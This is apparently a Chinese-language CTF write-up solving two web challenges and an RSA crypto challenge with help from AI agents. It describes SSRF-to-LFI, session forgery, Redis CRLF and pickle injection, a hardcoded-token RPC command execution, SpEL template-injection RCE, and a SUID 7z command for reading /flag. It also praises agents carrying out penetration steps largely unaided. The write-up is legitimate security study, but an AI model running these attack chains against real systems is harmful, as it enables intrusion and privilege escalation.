auth
flask 2.2.3 查到一个 CVE-2023-30861,不过我们这次没用上
注意到疑似 AI 写的前端似乎有意突出 role=user,结合题目
auth 推测这可能是解题某步的关键
很快可以发现头像上传处可以 SSRF,借助
file:// 可以 LFI
翻 /proc 发现除了 flask redis 进程外还有一个 python 负责
RPC
获取到 Flask 源码、Redis dump.rdb、内部 root XML-RPC
服务源码等,黑盒变半个白盒
审计 flask 源码发现
1 | if session.get('role') != 'admin': |
只看 session,因此考虑伪造 secret_key
从 Redis dump 提取 flask 的
secret_key,用以伪造管理员的 session
1 | {'logged_in': True, 'role': 'admin', 'username': 'MM'} |
两个路由可用
1 |
发现 /admin/online-users
进行了受限反序列化,但还是有洞,尝试控制
r.keys('online_user:*') 的数据即可
对 redis 不熟,AI 自动化测一下:
Redis 可被 SSRF 的 CRLF 注入利用
直接访问:
1 http://127.0.0.1:6379/返回过:
1 -ERR wrong number of arguments for 'get' command这说明:
- SSRF 确实能打到 Redis。
urllib发出的 HTTP 请求被 Redis 当成 inline protocol 解析了。
- 先写简单值:
1 HSET user:MM role admin结果:
MM.role成功被改成admin
- 再写带空格值:
1 HSET user:MM name "Q TEST"结果:
MM.name成功变成Q TEST
- 再写
\xHH转义:
1 HSET user:MM name "\x48\x45\x58\x20\x4f\x4b"结果:
MM.name成功变成HEX OK这一步证明:
- Redis inline quoted argument 可稳定承载经十六进制转义后的二进制 payload
因此通过 SSRF + redis + pickle
可以执行受限命令,例如通过
1 | getattr( |
可以向第三个服务 XML-RPC 发送请求
审计 XML-RPC 源码发现 token 是固定的硬编码
1 | self.auth_token = "mcp_secure_token_b2rglxd" |
并且有命令执行功能
1 | result = subprocess.run( |
不过难以回显,因此考虑直接以高权限复制一份 flag 再去用最初的 LFI 获取
1 | execute_command("cp /flag /tmp/pwnflag; chmod 644 /tmp/pwnflag") |
再用 SSRF LFI 获取 flag 副本
thymeleaf
三层
- PRNG 逆推 admin 口令
- SpEL 模板注入 RCE
- SUID 提权读 /flag
PRNG 逆推 admin 口令
每 POST /register 一次,PRNG 就往后走 1 步。
冷启动后流程是:
- 第 10 步:admin
- 第 11 到 15 步:内置 user1..user5
- 第 16 步:第一次外部注册
最终初始注册与 admin 相差 6 步,小小 crypto,AI秒了
SpEL 模板注入 RCE
最难的一段,基本靠抽奖,首先审计在
HomeController.java
1 |
|
这里直接把用户可控的 section 拼到了返回视图名里。
也就是说:
1 | /admin?section=main |
最终会被 Thymeleaf 当成:
1 | admin :: main |
有很多注入会被拦,最后引导拷打 AI 搓出的 RCE 脚本如下:
1 | #!/usr/bin/env python3 |
示例执行:
1 | python exp.py exec "whoami" |
SUID 提权读 /flag
这是 AI 没想到的一点
首先 ls -la / 可以看到根目录下权限 400 长度
43 的 /flag,java 进程本身是 ctf
用户,正常读是无法读的,AI 在想找泄露点,经验上 CTF
里可以优先试试提权。
枚举 SUID
1 | find / -perm -u=s -type f 2>/dev/null |
找到
1 | /bin/mount |
用这个线索引导 AI 即可立即获取 flag
1 | /usr/bin/7z a -ttar -an -so /flag 2>/dev/null | /usr/bin/7z e -ttar -si -so 2>/dev/null |
RSA
level 1
根据提示搓脚本
1 | import glob |
level 2
首先可以直接爆破 \([-bounds, +bounds] = [-100, +100]\) 还原 P2 P3 多项式的系数
1 | # sage |
注意到 \(d\) 只有 \(180\) 位,用 Boneh-Durfee
打小私钥攻击
1 | # AI 速搓 |
level 3
逐位求即可,注意 sagemath 的异或运算符
1 | from Crypto.Util.number import long_to_bytes |
AI Agent 使用感想
此前最多使用的是 Copilot Pro,再之前经常使用 Web 端。从 Web 端到 Agent 已然令我惊艳,但又第一次在比赛中尝试使用 Codex 后,发现我仍然低估了技术的发展。这并不是说特指哪一家的 Agent,而是整个领域的极大进步。
crypto-RSA 题目是借助 Copilot Opus 4.6 完成的,Opus 4.6 对题目的理解非常精准到位,可以很快地分析出每一关的关键所在,并自动进行密钥比对和判定,然后给出了分步的解题代码。在 Jupyter NoteBook 交互中大胆质疑工具的可靠性并重新尝试。然而对一些冷门工具如 SageMath 的使用不是很熟悉,需要提示词引导通过 Jupyter 使用 SageMath 来完成解题。
Web-Auth 题目是第一次使用了 Codex GPT-5.4 xhigh 来完成,在整个过程中,我只负责了部分思路的纠正和引导,例如最开始的 SSRF&错误回显 漏洞是人工直接指出(当然我相信 Codex 有这个能力可以独立发现)。随后 Codex 独立尝试了 LFI 本地 /proc 下进程信息,探测到了 Redis 服务和 RPC 服务,


整段 Agent 分析大约用了 3h,除去使用的第三方 API 的原因外,本身思考似乎也比较费时,但丰富全面的经验还是无可比拟的。
Web-thymeleaf 则是第二次尝试 Agent 渗透,
其中,RCE 的摸索是这题中 Agent 花费时间最多的地方,但如果人工审计的话可能也不会很快。Codex 胜出在自动化和智能化的分析和利用上。如果有正确的方向会很快地完成实现,如果没有具体的方向也会不断地尝试摸索。
总的来说,AI Agent 在安全方面的应用体验非常惊艳,令人印象深刻。虽然在某些细节上可能需要人工的引导和纠正,例如工具的提供、细节方向的修正等,但整体上它极大地提升了效率和成功率。
此次体验算是完全打破了我以往对学习认知的方法论的理解,之前我一直认为学习是一个人类主导的过程,AI 可以作为辅助工具来使用,但这次的体验让我意识到 AI Agent 已经具备了独立思考和解决问题的能力,人与 AI 的主要矛盾已经不再是人类主导还是 AI 主导的问题,而是如何更好地协同工作的问题。人不能只想着如何与 AI 进行竞争,而是应该思考如何与 AI 进行合作,发挥各自的优势来解决问题。人需要认识到并承认自己的局限性,承认 AI 无可比拟的进步速度,如此才能更好地利用 AI 来提升自己的能力,而不是陷入无谓的竞争中。
正好在 Re 群看到之前 「正规子群」师傅在去年就有提到过 CTF Agent 的开发和使用,我还是慢人许久才真正体验了一把。未来应当把重心放到如何更好利用 AI 上来,摒弃传统的学习方法论。
分享一则视频
__END__